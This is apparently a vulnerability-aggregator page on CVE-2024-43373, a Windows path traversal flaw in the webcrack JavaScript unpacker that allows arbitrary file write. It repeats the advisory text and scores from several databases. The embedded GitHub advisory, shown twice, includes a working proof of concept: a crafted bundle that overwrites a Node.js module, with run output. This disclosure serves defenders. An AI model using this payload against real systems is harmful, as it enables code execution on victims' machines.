CVE-2024-43373
webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle
webcrack is a tool for reverse engineering javascript. An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system. This vulnerability allows an attacker to write arbitrary .js files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution. This vulnerability has been patched in version 2.14.1.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
7.7
webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle
webcrack is a tool for reverse engineering javascript. An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system. This vulnerability allows an attacker to write arbitrary .js files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution. This vulnerability has been patched in version 2.14.1.
- Record
CVE-2024-43373- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-20, CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2024-2557
7.7
webcrack is a tool for reverse engineering javascript. An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system. This vulnerability allows an attacker to write arbitrary .js files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution. This vulnerability has been patched in version 2.14.1.
- Record
EUVD-2024-2557- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-ccqh-278p-xq6w
6.2
webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle
Summary
An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.
Details
Source: packages/webcrack/src/unpack/bundle.ts#L79
import { posix } from 'node:path';
import type { Module } from './module';
// eslint-disable-next-line @typescript-eslint/unbound-method
const { dirname, join, normalize } = posix;
/* ... snip ... */
const modulePath = normalize(join(path, module.path));
if (!modulePath.startsWith(path)) {
throw new Error(`detected path traversal: ${module.path}`);
}
await mkdir(dirname(modulePath), {
recursive: true
});
await writeFile(modulePath, module.code, 'utf8');
In this code, the application explicitly relies on the POSIX version of path utilities (dirname, join, normalize) from Node.js. However, the vulnerability arises because the POSIX version of the normalize function does not recognize \ as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.
PoC
The following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the debug module in Node.js:
Malicious Script (what.js):
(function (e) {
var n = {};
function o(r) {
if (n[r]) {
return n[r].exports;
}
var a = (n[r] = {
i: r,
l: false,
exports: {},
});
e[r].call(a.exports, a, a.exports, o);
a.l = true;
return a.exports;
}
o.p = '';
o((o.s = 386));
})({
'./\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
module.exports = () => console.log("pwned")
},
});
Webcrack Script (index.js):
import fs from 'fs';
import { webcrack } from 'webcrack';
const input = fs.readFileSync('what.js', 'utf8');
const result = await webcrack(input);
console.log(result.code);
console.log(result.bundle);
await result.save('output-dir');
Execution:
Running the above script with node index.js twice results in the following output being printed to the terminal:
PS C:\Webcrack> node .\index.js
Debugger attached.
(function (e) {
var n = {};
function o(r) {
if (n[r]) {
return n[r].exports;
}
var a = n[r] = {
i: r,
l: false,
exports: {}
};
e[r].call(a.exports, a, a.exports, o);
a.l = true;
return a.exports;
}
o.p = "";
o(o.s = 386);
})({
"./\\..\\node_modules\\debug\\src\\index": function (e, t, n) {
module.exports = () => console.log("pwned");
}
});
WebpackBundle {
type: 'webpack',
entryId: '386',
modules: Map(1) {
'./\\..\\node_modules\\debug\\src\\index' => WebpackModule {
id: './\\..\\node_modules\\debug\\src\\index',
isEntry: false,
path: '././\\..\\node_modules\\debug\\src\\index.js',
ast: [Object]
}
}
}
Waiting for the debugger to disconnect...
PS C:\Webcrack> node .\index.js
Debugger attached.
pwned
pwned
pwned
pwned
pwned
pwned
pwned
Waiting for the debugger to disconnect...
file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444
if (options.log) logger(`${name}: started`);
^
TypeError: logger is not a function
at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)
at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)
at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)
at async file:///C:/Webcrack/index.js:6:16
Node.js v18.16.0
This…
- Record
GHSA-ccqh-278p-xq6w- CVSS 4.0
- 6.2 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L - CVSS 3.1
- 7.7 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-20, CWE-22
- Updated
- 2026-11-02
NVD
7.7
webcrack is a tool for reverse engineering javascript. An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system. This vulnerability allows an attacker to write arbitrary .js files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution. This vulnerability has been patched in version 2.14.1.
- Record
CVE-2024-43373- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-20, CWE-22
- Updated
- 2026-11-02
OSV
7.7
webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle
webcrack is a tool for reverse engineering javascript. An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system. This vulnerability allows an attacker to write arbitrary .js files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution. This vulnerability has been patched in version 2.14.1.
- Record
CVE-2024-43373- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-20, CWE-22
- Updated
- 2026-11-02
OSVGHSA-ccqh-278p-xq6w
6.2
webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle
Summary
An arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.
Details
Source: packages/webcrack/src/unpack/bundle.ts#L79
import { posix } from 'node:path';
import type { Module } from './module';
// eslint-disable-next-line @typescript-eslint/unbound-method
const { dirname, join, normalize } = posix;
/* ... snip ... */
const modulePath = normalize(join(path, module.path));
if (!modulePath.startsWith(path)) {
throw new Error(`detected path traversal: ${module.path}`);
}
await mkdir(dirname(modulePath), {
recursive: true
});
await writeFile(modulePath, module.code, 'utf8');
In this code, the application explicitly relies on the POSIX version of path utilities (dirname, join, normalize) from Node.js. However, the vulnerability arises because the POSIX version of the normalize function does not recognize \ as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.
PoC
The following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the debug module in Node.js:
Malicious Script (what.js):
(function (e) {
var n = {};
function o(r) {
if (n[r]) {
return n[r].exports;
}
var a = (n[r] = {
i: r,
l: false,
exports: {},
});
e[r].call(a.exports, a, a.exports, o);
a.l = true;
return a.exports;
}
o.p = '';
o((o.s = 386));
})({
'./\\..\\node_modules\\debug\\src\\index': function (e, t, n) {
module.exports = () => console.log("pwned")
},
});
Webcrack Script (index.js):
import fs from 'fs';
import { webcrack } from 'webcrack';
const input = fs.readFileSync('what.js', 'utf8');
const result = await webcrack(input);
console.log(result.code);
console.log(result.bundle);
await result.save('output-dir');
Execution:
Running the above script with node index.js twice results in the following output being printed to the terminal:
PS C:\Webcrack> node .\index.js
Debugger attached.
(function (e) {
var n = {};
function o(r) {
if (n[r]) {
return n[r].exports;
}
var a = n[r] = {
i: r,
l: false,
exports: {}
};
e[r].call(a.exports, a, a.exports, o);
a.l = true;
return a.exports;
}
o.p = "";
o(o.s = 386);
})({
"./\\..\\node_modules\\debug\\src\\index": function (e, t, n) {
module.exports = () => console.log("pwned");
}
});
WebpackBundle {
type: 'webpack',
entryId: '386',
modules: Map(1) {
'./\\..\\node_modules\\debug\\src\\index' => WebpackModule {
id: './\\..\\node_modules\\debug\\src\\index',
isEntry: false,
path: '././\\..\\node_modules\\debug\\src\\index.js',
ast: [Object]
}
}
}
Waiting for the debugger to disconnect...
PS C:\Webcrack> node .\index.js
Debugger attached.
pwned
pwned
pwned
pwned
pwned
pwned
pwned
Waiting for the debugger to disconnect...
file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444
if (options.log) logger(`${name}: started`);
^
TypeError: logger is not a function
at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)
at Array.<anonymous> (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)
at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)
at async file:///C:/Webcrack/index.js:6:16
Node.js v18.16.0
This…
- Record
GHSA-ccqh-278p-xq6w- CVSS 4.0
- 6.2 Medium
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L - CVSS 3.1
- 7.7 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-20, CWE-22
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-43373 is a high vulnerability (CVSS 7.7) in J4k0xb Webcrack, published August 14, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.45%, the 39th percentile. Fixed in webcrack 2.14.1.
References
github.com/j4k0xb/webcrack/security/advisories/GHSA-ccqh-278p-xq6w
github.com/j4k0xb/webcrack/commit/4bc5c6f353012ee7edc2cb39d01a728ab7426999
github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts
nvd.nist.gov/vuln/detail/CVE-2024-43373
github.com/advisories/GHSA-ccqh-278p-xq6w
github.com/CVEProject/cvelistV5/tree/main/cves/2024/43xxx/CVE-2024-43373.json
github.com/j4k0xb/webcrack
Left out here: the rest of 2 source descriptions. The JSON record has them.